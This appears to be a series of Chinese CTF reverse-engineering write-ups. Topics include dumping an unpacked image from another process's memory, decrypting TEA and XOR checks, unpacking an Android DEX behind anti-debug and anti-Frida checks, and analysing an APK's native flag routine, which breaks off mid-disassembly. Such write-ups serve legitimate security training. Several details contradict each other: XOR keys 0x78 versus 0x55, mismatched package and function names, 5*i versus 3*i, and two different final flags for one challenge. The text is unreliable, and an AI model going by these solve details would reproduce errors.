&nbsp; &nbsp;&nbsp;# MEMORY_BASIC_INFORMATION 结构体&nbsp; &nbsp;&nbsp;class&nbsp;MEMORY_BASIC_INFORMATION(ctypes.Structure):&nbsp; &nbsp; &nbsp; &nbsp; _fields_ = [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("BaseAddress", ctypes.c_ulonglong),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("AllocationBase", ctypes.c_ulonglong),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("AllocationProtect", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("__a1", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("RegionSize", ctypes.c_ulonglong),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("State", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("Protect", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("Type", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ("__a2", w.DWORD),&nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; mbi = MEMORY_BASIC_INFORMATION()&nbsp; &nbsp; kernel32.VirtualQueryEx.argtypes = [&nbsp; &nbsp; &nbsp; &nbsp; w.HANDLE,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.c_ulonglong,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.POINTER(MEMORY_BASIC_INFORMATION),&nbsp; &nbsp; &nbsp; &nbsp; ctypes.c_size_t&nbsp; &nbsp; ]&nbsp; &nbsp; kernel32.ReadProcessMemory.argtypes = [&nbsp; &nbsp; &nbsp; &nbsp; w.HANDLE,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.c_ulonglong,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.c_void_p,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.c_size_t,&nbsp; &nbsp; &nbsp; &nbsp; ctypes.POINTER(ctypes.c_size_t)&nbsp; &nbsp; ]
&nbsp; &nbsp; regions = []&nbsp; &nbsp; current_addr =&nbsp;0&nbsp; &nbsp; buf = ctypes.create_string_buffer(0x200000)&nbsp; &nbsp; read_bytes = ctypes.c_size_t(0)
&nbsp; &nbsp;&nbsp;while&nbsp;current_addr <&nbsp;0x7FFFFFFFFFFF:&nbsp; &nbsp; &nbsp; &nbsp; ret = kernel32.VirtualQueryEx(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h_process,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; current_addr,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctypes.byref(mbi),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ctypes.sizeof(mbi)&nbsp; &nbsp; &nbsp; &nbsp; )&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ret ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; base = mbi.BaseAddress&nbsp; &nbsp; &nbsp; &nbsp; region_size = mbi.RegionSize&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;region_size ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 条件：MEM_COMMIT(0x1000)，排除 PAGE_GUARD(0x100)、PAGE_NOACCESS(0x01)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;mbi.State ==&nbsp;0x1000&nbsp;and&nbsp;(mbi.Protect &&nbsp;0x100) ==&nbsp;0&nbsp;and&nbsp;(mbi.Protect &&nbsp;1) ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data_buffer =&nbsp;bytearray()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr = base&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remain = region_size&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; success =&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;remain >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk_size =&nbsp;min(remain,&nbsp;len(buf))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;kernel32.ReadProcessMemory(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; h_process, ptr, buf, chunk_size, ctypes.byref(read_bytes)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data_buffer += buf.raw[:read_bytes.value]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; success =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ptr += chunk_size&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remain -= chunk_size
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;success:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; regions.append((base,&nbsp;bytes(data_buffer), mbi.Protect))
&nbsp; &nbsp; &nbsp; &nbsp; current_addr = base + region_size
&nbsp; &nbsp;&nbsp;# 保存dump内存区域&nbsp; &nbsp;&nbsp;with&nbsp;open("regions.pkl",&nbsp;"wb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; pickle.dump(regions, f)
&nbsp; &nbsp; proc.kill()
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x7ff7b68c1000，大小0x14000，权限RWX—— **解壳后的镜像**（基址0x7ff7b68c0000`），

+0x3000处是“flag{“`

+0x3020` 处是 40 字节密文

+0x3090处是“Please enter the flag: “、“Correct! well done.”、“Wrong flag.”`

把这 0x14000 字节保存为 payload.bin，即可离线反汇编。

分析

数据部分（payload 偏移）

+0x3020 &nbsp;enc_words[10] = &nbsp; &nbsp;// 10 个 uint32，共 40 字节密文&nbsp; &nbsp; e349767d 2cc58262 64f2fef4 7088cb55&nbsp; &nbsp; 2a75aea8 3fd53aa3 027ca31f 1c601361&nbsp; &nbsp; b418ef60 2c1131eb
+0x3050 &nbsp;A[4] = 1f2e3d4c 0a0b0c0d 11223344 55667788+0x3060 &nbsp;B[4] = aabbccdd 99aabbcc 33445566 77889900+0x3070 &nbsp;C[4] = 01020304 05060708 09101112 13141516+0x3080 &nbsp;D[4] = deadbeef feedface abad1dea 0badf00d
+0x3090 &nbsp;"Please enter the flag: "&nbsp; &nbsp; &nbsp; &nbsp; "Correct! well done."&nbsp; &nbsp; &nbsp; &nbsp; "Wrong flag."

reconstruct_key（payload 偏移 0x513）

对 i = 0..3：

ecx = A[i]ecx ^= B[i]ecx += C[i]edx &nbsp;= D[i]edx ^= ecxout[i] = edx

key[i] = D[i] ^ ((A[i] ^ B[i]) + C[i])

teadecryptblock

sum&nbsp;= delta *&nbsp;32for&nbsp;i in range(32):&nbsp; &nbsp;&nbsp;v1&nbsp;-= ((v0<<4) + key[2]) ^ (v0 + sum) ^ ((v0>>5) + key[3])&nbsp; &nbsp;&nbsp;v0&nbsp;-= ((v1<<4) + key[0]) ^ (v1 + sum) ^ ((v1>>5) + key[1])&nbsp; &nbsp;&nbsp;sum&nbsp;-= delta

main / `checker“

`printf("Please enter the flag: ")；

fgets(buf, 0x80, stdin)，用 strcspn(buf, "\r\n") 去掉换行；

reconstruct_key(key) 得到 4 个 32 位密钥；

malloc(40+1)，循环 j = 0,2,4,6,8，对每一组 (enc_words[j], enc_words[j+1])

调用 tea_decrypt_block，写回解密结果；

组装期望字符串："flag{" + 解密结果前 36 字节 + "}"；

strcmp(input, expected)，相等输出 Correct! well done.，否则 Wrong flag.

expected&nbsp;=&nbsp;"flag{"&nbsp;+ TEA_decrypt(enc_words, key)[:36] +&nbsp;"}"

脚本

import&nbsp;struct
M&nbsp;=&nbsp;0xffffffffdelta&nbsp;=&nbsp;0x9e3779b9
A&nbsp;=&nbsp;[0x1f2e3d4c, 0x0a0b0c0d, 0x11223344, 0x55667788]B&nbsp;=&nbsp;[0xaabbccdd, 0x99aabbcc, 0x33445566, 0x77889900]C&nbsp;=&nbsp;[0x01020304, 0x05060708, 0x09101112, 0x13141516]D&nbsp;=&nbsp;[0xdeadbeef, 0xfeedface, 0xabad1dea, 0x0badf00d]
# 计算TEA密钥key&nbsp;=&nbsp;[(D[i] ^ ((C[i] + (A[i] ^ B[i])) & M)) & M for i in range(4)]
enc&nbsp;=&nbsp;[&nbsp; &nbsp; 0x7d7649e3, 0x6282c52c,&nbsp; &nbsp; 0xf4fef264, 0x55cb8870,&nbsp; &nbsp; 0xa8ae752a, 0xa33ad53f,&nbsp; &nbsp; 0x1fa37c02, 0x6113601c,&nbsp; &nbsp; 0x60ef18b4, 0xeb31112c]
def&nbsp;tea_decrypt(v0, v1, k):&nbsp; &nbsp;&nbsp;s&nbsp;= (delta *&nbsp;32) & M&nbsp; &nbsp;&nbsp;for&nbsp;_ in range(32):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v1&nbsp;= (v1 - ((((v0 <<&nbsp;4) & M) + k[2]) & M ^ ((v0 + s) & M) ^ (((v0 >>&nbsp;5) + k[3]) & M))) & M&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v0&nbsp;= (v0 - ((((v1 <<&nbsp;4) & M) + k[0]) & M ^ ((v1 + s) & M) ^ (((v1 >>&nbsp;5) + k[1]) & M))) & M&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;s&nbsp;= (s - delta) & M&nbsp; &nbsp;&nbsp;return&nbsp;v0, v1
def&nbsp;main():&nbsp; &nbsp;&nbsp;out_buf&nbsp;= b''&nbsp; &nbsp;&nbsp;# 两两一组解密&nbsp; &nbsp;&nbsp;for&nbsp;idx in range(0,&nbsp;10,&nbsp;2):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v0&nbsp;= enc[idx]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;v1&nbsp;= enc[idx +&nbsp;1]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;a, b = tea_decrypt(v0, v1, key)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;out_buf&nbsp;+= struct.pack('<II', a, b)
&nbsp; &nbsp;&nbsp;flag_data&nbsp;= out_buf[:36].decode()&nbsp; &nbsp;&nbsp;flag&nbsp;= f"flag{{{flag_data}}}"&nbsp; &nbsp;&nbsp;print(flag)
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;main()

flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}

10

galgame Writeup

打开压缩发现，Ren’Py 的剧情脚本 .rpy 会被编译成 .rpyc

所以题目逻辑在 game/script.rpyc 里。

二、还原 script.rpyc

Ren’Py 8 的 .rpyc 是 RENPY RPC2 容器格式：

开头 10 字节魔数 RENPY RPC2
之后是若干 12 字节表项：<slot:uint32> <start:uint32> <length:uint32>，遇到 slot==0 结束
每个 slot 对应一段 zlib 压缩的 pickle 数据

解析并解压：

import zlib
data&nbsp;=&nbsp;open('game/script.rpyc',&nbsp;'rb').read()assert data[:10]&nbsp;==&nbsp;b'RENPY RPC2'
offset&nbsp;=&nbsp;10while&nbsp;True:&nbsp; &nbsp; slot,&nbsp;start, length&nbsp;=&nbsp;struct.unpack('<III', data[offset:offset+12])&nbsp; &nbsp;&nbsp;offset&nbsp;+=&nbsp;12&nbsp; &nbsp; if slot&nbsp;==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; break&nbsp; &nbsp; chunk&nbsp;=&nbsp;data[start:start+length]&nbsp; &nbsp; pickle_data&nbsp;=&nbsp;zlib.decompress(chunk) &nbsp; # 解压得到pickle序列化的AST

解压出的 pickle 里可以提取到如下关键内容：

Character("CHECKER")cipher_data =&nbsp;b'\x32\x45\x22\x07\x0c\x0e\x0c\x48\x55\x4c\x4c\x49\x0f\x55\x4c\x0e\x0f\x4b\x55\x0c\x0b\x4b\x4f\x55\x4c\x4f\x0e\x48\x4b\x4a\x10\x0f\x4f\x0c\x40\x0b'
def&nbsp;xor_encode(input_bytes):&nbsp; &nbsp;&nbsp;return&nbsp;b''.join([bytes([b ^&nbsp;0x55])&nbsp;for&nbsp;b&nbsp;in&nbsp;input_bytes])
"Welcome to this secret adventure.""Input the secret passphrase to get reward."user_input = renpy.input("Enter secret key:", length=60)user_input = user_input.strip()
encrypted_result = xor_encode(user_input.encode())if&nbsp;encrypted_result == cipher_data:&nbsp; &nbsp;&nbsp;"Congratulation! You found the secret."&nbsp; &nbsp;&nbsp;"Format your answer following platform rules."else:&nbsp; &nbsp;&nbsp;"Wrong passphrase, try again."

三、分析

校验逻辑是：把玩家输入 user_input 的每个字符 ord(c) ^ 0x78，再 .encode() 成字节，与 heart 比较。

XOR 是对合运算，直接对 heart 每个字节异或 0x78 即可还原输入：

cipher_data =&nbsp;b'\x32\x45\x22\x07\x0c\x0e\x0c\x48\x55\x4c\x4c\x49\x0f\x55\x4c\x0e\x0f\x4b\x55\x0c\x0b\x4b\x4f\x55\x4c\x4f\x0e\x48\x4b\x4a\x10\x0f\x4f\x0c\x40\x0b'plain =&nbsp;bytes(b ^&nbsp;0x55&nbsp;for&nbsp;b&nbsp;in&nbsp;cipher_data).decode()print(plain)
assert&nbsp;bytes(b ^&nbsp;0x55&nbsp;for&nbsp;b&nbsp;in&nbsp;plain.encode()) == cipher_data

结果是一个明文：

解密得到明文：`9c42fa71-8bc3-4278-9119-f281ac63de27`

因此最终提交：

flag{9c42fa71-8bc3-4278-9119-f281ac63de27}

11

茧中人 (mobile) Writeup

文件结构

解压打开发现：

classes.dex 里 StubApplication 只是加载 libloader.so：

static&nbsp;{&nbsp;System.loadLibrary("cocoon"); }public&nbsp;void&nbsp;attachBaseContext(Context&nbsp;c) {&nbsp;super.attachBaseContext(c); ... }public&nbsp;void&nbsp;onCreate() { ... }

真正逻辑都在 libloader.so 里，导出函数：

Java_com_xiaoyuyc_mobile2_StubApplication_attachBaseContext
Java_com_xiaoyuyc_mobile2_StubApplication_onCreate
JNI_OnLoad

libloader.so 是 AArch64 PIE，用 IDA/Ghidra/capstone 均可分析。

壳的整体流程

1.1 反调试 / 反模拟器

attachBaseContext（0x1248）里会：

取 android.os.Build.FINGERPRINT，strstr 检查是否包含 "generic"、"vbox"，命中则 exit()；
检查 xposed / frida / vbox 等字符串。

调试时跳过这些分支即可（静态分析不需要实际运行）。

1.2 onCreate 中初始化校验密钥

onCreate（0x133c）是一个被控制流平坦化的大函数。核心几步：

通过 getPackageName() 拿到包名 com.xiaoyuyc.mobile2；
用包名生成一张 16 字节表（0x1d68~0x1e84）：

&nbsp; &nbsp;for&nbsp;(i =&nbsp;0; i <&nbsp;16; i++)&nbsp; &nbsp; &nbsp; &nbsp;table[i] = (unsigned char)packageName[i % strlen(packageName)] ^&nbsp;0x4B;

生成的表为 39 35 37 74 22 33 3B 35 23 2F 23 39 74 37 35 38。

计算 APK 签名的哈希（Java String.hashCode 风格：h = h*33 + byte），

存入 .bss 全局 0xc3dc，并与硬编码值 0xB743FBD9 比较，不等就 exit()。

0xc3dc 的低字节 0xD9 之后会作为 checkFlag 的密钥。

3 解密 init_res 得到 real.dex（0x2e30）

char&nbsp;*buf &nbsp; = AAsset_read("res_encrypt"); &nbsp; &nbsp; &nbsp;// 密文资源char&nbsp;*out&nbsp; &nbsp;= malloc(len);unsigned&nbsp;char&nbsp;prev =&nbsp;0xBB;for&nbsp;(i =&nbsp;0; i < len; i++) {&nbsp; &nbsp;&nbsp;unsigned&nbsp;char&nbsp;v = prev ^ (i &&nbsp;0xff) ^ buf[i] ^ table[i &&nbsp;0xf];&nbsp; &nbsp; v = ROL8(v,&nbsp;4); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// (v<<4)|(v>>4)&nbsp; &nbsp;&nbsp;out[i] = v;&nbsp; &nbsp; prev = buf[i]; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 状态携带“当前输入字节”}

解密后 out 的前 8 字节是 dex\n035\0，即 real.dex。随后写到

getFilesDir()/real.dex，再用 DexClassLoader 加载。

1.4 注册 native 方法

onCreate 中调用 RegisterNatives，把 VerificationCenter.checkFlag(String, byte[])

绑定到 native 函数 0x3db0（方法表在 .data.rel.ro，0x8138）。

解密脚本（第 1 步）

见同目录 solve_1_decrypt_init_res.py，核心：

pkg&nbsp;=&nbsp;"com.ctf.mobilecocoon"table&nbsp;=&nbsp;[(ord(pkg[i % len(pkg)]) ^ 0x4B) & 0xff for i in range(16)]prev&nbsp;=&nbsp;0xbbout&nbsp;= bytearray()for&nbsp;i, c in enumerate(enc_data):&nbsp; &nbsp;&nbsp;v&nbsp;= (prev ^ (i &&nbsp;0xff) ^ c ^ table[i &&nbsp;0xf]) &&nbsp;0xff&nbsp; &nbsp;&nbsp;v&nbsp;= ((v <<&nbsp;4) | (v >>&nbsp;4)) &&nbsp;0xff &nbsp; # ROL8&nbsp;4bit&nbsp; &nbsp;&nbsp;out.append(v)&nbsp; &nbsp;&nbsp;prev&nbsp;= c

运行后得到 real.dex。

分析 real.dex

real.dex 很小（6788 B），有效的几个类：

com.xiaoyuyc.mobile2.CoreApplication（真正的 Application，负责替换 Instrumentation）
com.xiaoyuyc.mobile2.LauncherActivity
com.xiaoyuyc.mobile2.modules.VerificationCenter

VerificationCenter 是校验界面（反编译关键部分）：

private&nbsp;static&nbsp;final&nbsp;byte[] SECRET_BLOCK;static&nbsp;{&nbsp; &nbsp; SECRET_BLOCK =&nbsp;new&nbsp;byte[]{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;112,&nbsp;41, -72, -13,&nbsp;88,&nbsp;21, -34,&nbsp;74,&nbsp;12, -94,&nbsp;54,&nbsp;30,&nbsp; &nbsp; &nbsp; &nbsp; -23,&nbsp;61,&nbsp;9, -66,&nbsp;77, -111,&nbsp;33, -42,&nbsp;119,&nbsp;26, -88,&nbsp;81,&nbsp;44,&nbsp;103&nbsp; &nbsp; };}private&nbsp;native&nbsp;boolean&nbsp;checkSecret(String s,&nbsp;byte[] b);private&nbsp;void&nbsp;lambda$onCreate$0(EditText e, View v) {&nbsp; &nbsp;&nbsp;if&nbsp;(checkSecret(e.getText().toString(), SECRET_BLOCK))&nbsp; &nbsp; &nbsp; &nbsp; Toast.makeText(this,&nbsp;"✅ Access granted!", ...).show();&nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; Toast.makeText(this,&nbsp;"❌ Wrong secret", ...).show();}

UI 里是 flag{ + EditText + }，所以只需要求出 EditText 的输入（即 flag{} 内部）。

native checkFlag 算法（0x3db0）

伪代码（in 为输入字符串，exp 为 CIPHER_BLOCK）：

s = key ^&nbsp;0x61; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// key = [0xc420] 的低字节 = 0x47for&nbsp;(i =&nbsp;0; i < len; i++) {&nbsp; &nbsp; r = ROL8(s ^&nbsp;in[i],&nbsp;5); &nbsp; &nbsp;&nbsp;// (v<<5)|(v>>3)&nbsp; &nbsp;&nbsp;if&nbsp;(exp[i] != (5*i + r) &&nbsp;0xff)&nbsp;return&nbsp;false;&nbsp; &nbsp; s = exp[i]; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ★ 状态被更新为期望字节exp[i]}return&nbsp;true;

关键点：add x12, x8, x12 之后紧跟 and w12, w12, #0xff，所以下一轮的

状态不是旋转结果，而是 exp[i] = (3*i + r) & 0xff 本身。

反推：

exp = bytes([112, 41, -72, -13, 88, 21, -34, 74, 12, -94, 54, 30,&nbsp; &nbsp; &nbsp; &nbsp; -23, 61, 9, -66, 77, -111, 33, -42, 119, 26, -88, 81, 44, 103])s = 0x47 ^ 0x61plain_buf = bytearray()for i in range(len(exp)):&nbsp; &nbsp; r = (exp[i] - 5*i) & 0xff&nbsp; &nbsp; rot_r = ((r >> 5) | (r << 3)) & 0xff&nbsp; &nbsp; plain_buf.append(s ^ rot_r)&nbsp; &nbsp; s = exp[i]inner_text = plain_buf.decode()

得到内部字符串，及flag

flag{ctf_mobile_rev_shell_2026_ok}

复现

python&nbsp;solve_1_decrypt_init_res.py &nbsp; &nbsp; &nbsp;# 生成 real.dexpython solve_2_invert_checkflag.py &nbsp; &nbsp; &nbsp;# 输出 flag

inner : ctf_mobile_rev_shell_2026_okFLAG &nbsp;: flag{ctf_mobile_rev_shell_2026_ok}

Flag：flag{cyctf_mobile2_2026year_yes}

12

WebPortal

二、APK 结构速览

APK 本质是 ZIP,直接列出关键文件:

import&nbsp;zipfilez&nbsp;=&nbsp;zipfile.ZipFile('WebPortal_1.0.apk')for&nbsp;n in z.namelist():&nbsp; &nbsp; print(n, z.getinfo(n).file_size)

最值得关注的文件:

assets/native/flag.dat &nbsp; &nbsp;&nbsp;63&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <-- 加密的 flag 数据lib/arm64-v8a/libchallenge.so &nbsp;341064&nbsp; <-- 核心 native 逻辑classes.dex &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;696732&nbsp; &nbsp; &nbsp; <-- Java 层

assets/native/flag.dat 内容(63 字节):

M1:0798ae9764c74e2a6fd95fc81e6257d57841ef961d54afc0f64f6fdcd9b8

M1: 是自定义魔数,后面 60 个字符是十六进制 → 30 字节,显然是被加密的 flag。

三、Java 层:找到入口 (jadx)

用 jadx 反编译:

$env:JAVA_HOME="C:\Program Files\Java\jdk-25"jadx.bat -d jadx_out classes.dex

关键类 com.xiaoyuyc.mobile1.JsBridge:

public&nbsp;final&nbsp;class&nbsp;JsBridge&nbsp;{&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;Context&nbsp;context;&nbsp; &nbsp;&nbsp;static&nbsp;{&nbsp;System.loadLibrary("challenge"); } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 加载 libchallenge.so
&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;native&nbsp;String&nbsp;nativeGetFlag(Context&nbsp;context,&nbsp;String&nbsp;str);
&nbsp; &nbsp;&nbsp;@JavascriptInterface&nbsp; &nbsp;&nbsp;public&nbsp;String&nbsp;getFlag(String&nbsp;str) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;nativeGetFlag(this.context, str); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 用户输入 str 传入 native&nbsp; &nbsp; }}

MainActivity 里用 WebView 加载 assets/index.html,index.html 只提示 “Please scan the QR code to sign in.”。

结论:真正的校验 + 解密逻辑在 nativeGetFlag(Context, String) 中,必须逆向 libchallenge.so。

四、Native 层逆向准备

libchallenge.so 是 AArch64 ELF。先用 pyelftools 找符号:

from&nbsp;elftools.elf.elffile&nbsp;import&nbsp;ELFFilee = ELFFile(open('libchallenge.so','rb'))s = e.get_section_by_name('.dynsym')for&nbsp;sym&nbsp;in&nbsp;s.iter_symbols():&nbsp; &nbsp;&nbsp;if&nbsp;'native'&nbsp;in&nbsp;sym.name:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(sym.name,&nbsp;hex(sym['st_value']), sym['st_size'])# Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag 0x22470 4728

函数位于 .text 偏移 0x22470(.text 的 sh_addr == sh_offset,所以文件偏移也是 0x22470)。用 capstone 反汇编:

from&nbsp;capstone import *md&nbsp;= Cs(CS_ARCH_AARCH64, CS_MODE_ARM)code&nbsp;= open('libchallenge.so','rb').read()[0x22470:0x22470+4728]for&nbsp;i in md.disasm(code,&nbsp;0x22470):&nbsp; &nbsp;&nbsp;print('0x%05x: %-8s %s' % (i.address, i.mnemonic, i.op_str))

JNI 参数:x0=JNIEnv*,x1=jobject(JsBridge),x2=Context,x3=jstring str。

4.1 输入校验:长度为 32,且把十六进制字母转小写

0x22510: cmp &nbsp;x9, #0x20 &nbsp; &nbsp; &nbsp; &nbsp;; 输入长度必须 == 320x22514: b.ne 0x226fc...0x22548: ldur q1, [x8, #-7]0x2254c: add &nbsp;v2.16b, v1.16b, v0.16b &nbsp; ; v0 = 0xbf, 即每个字节 +0xbf(= -0x41)0x22554: cmp &nbsp;w10, #50x22558: b.hi ...0x22560: orr &nbsp;w10, w10, #0x20 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 若 (b-0x41)<=5 即 b∈'A'..'F' -> 转小写

也就是输入必须是一个 32 位十六进制串,函数会先把 A-F 归一化为小写。

4.2 取设备 Android ID 并计算 MD5 作为”登录令牌”

接下来函数通过反射调用 Android API 获取设备标识:

getContentResolver()(getContentResolver 字符串)
android/provider/Settings$Secure
getString(...) + 字符串 android_id

拿到 android_id 后,在 0x22818 起调用一段标准 MD5 实现。识别特征:初始化常量

0x67452301,&nbsp;0xefcdab89,&nbsp;0x98badcfe,&nbsp;0x10325476 &nbsp; (movk 拼出)

与 MD5 的四轮轮函数(FF/GG/HH/II)、以及末尾用 0123456789abcdef 把 16 字节摘要格式化成 32 位小写 hex。

最后在 0x22c50 处用向量/字节比较:

0x22c50: cmp x8, x12 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 长度比较0x22c50..: eor 逐字节比较0x22d84: tst w12, #0xff0x22d88: b.eq 0x22da8 &nbsp; &nbsp; &nbsp; &nbsp; ; 相等 -> 继续0x22d8c: ... "Invalid token!" &nbsp;; 不相等 -> 返回 Invalid token!

即:输入 str 必须等于 MD5(android_id),这是”登录门禁”。

注意:这一步类似一个”认证开关”,但真正决定 flag 内容的是下一步对 flag.dat 的解密,密钥是硬编码的,与设备无关。因此无需真实设备也能静态解出 flag。

五、flag.dat 解密算法

5.1 解析 M1: 魔数与十六进制

0x22eb4: mov &nbsp;w8, #0x314d0x22ec0: movk w8, #0x3a, lsl #16&nbsp; &nbsp; ; w8 =&nbsp;0x003a314d -> 内存字节&nbsp;4d&nbsp;31&nbsp;3a&nbsp;00&nbsp;=&nbsp;"M1:\0"0x22ed0: bl &nbsp;&nbsp;0x4de50 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 比较 / 查找前缀

确认以 M1: 开头后,0x23150 起把后面 60 个 hex 字符解码成 30 字节(支持 0-9a-fA-F)。

5.2 提取硬编码密钥 K

在 0x22efc 处从 rodata 取两个 16 字节常量并逐字节异或:

0x22efc: adr x8, 0x161a80x22f08: adr x10, 0x161b80x22f0c: ldrb w9, &nbsp;[x8]0x22f10: ldrb w11, [x10]...0x22f3c: eor &nbsp;w14, w15, w14...0x23030: orr &nbsp;x9, x15, x90x23038: stp &nbsp;x9, x8, [sp, #0x68] &nbsp; ; 结果(16 字节)存到 sp+0x68

两段常量(.rodata,sh_addr==sh_offset):

0x161a8:&nbsp;5d&nbsp;91&nbsp;c4&nbsp;2e b7&nbsp;03&nbsp;68&nbsp;f0&nbsp;19&nbsp;aa&nbsp;7c&nbsp;44&nbsp;d3&nbsp;28&nbsp;9f&nbsp;610x161b8:&nbsp;57&nbsp;b1 e2&nbsp;85&nbsp;de&nbsp;92&nbsp;7a&nbsp;93&nbsp;2e&nbsp;4b&nbsp;7f&nbsp;5d&nbsp;77&nbsp;76&nbsp;71&nbsp;fd

异或得到密钥:

K&nbsp;=&nbsp;0a&nbsp;20&nbsp;26&nbsp;ab&nbsp;69&nbsp;91&nbsp;12&nbsp;63&nbsp;37&nbsp;e1&nbsp;03&nbsp;19&nbsp;a4&nbsp;5e ee&nbsp;9c

对应 K[0..15],其中 K[7] = 0x63。

5.3 逐字节解密

在 0x23220 起是一个长度 30 的循环,把上一步的 30 字节 D[i] 变换成 flag。反汇编核心:

0x23224: ldrb w12,&nbsp;[sp, #0x6f] &nbsp; &nbsp; &nbsp;; w12 = K[7] = 0x630x23228: mov &nbsp;w13, #-0x5b &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 0xA50x2323c: mov &nbsp;w9, &nbsp;#3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 密钥下标初值 = 30x23248: eor &nbsp;w15, w12, w13 &nbsp; &nbsp; &nbsp; &nbsp; ; s = K[7] ^ 0xA5
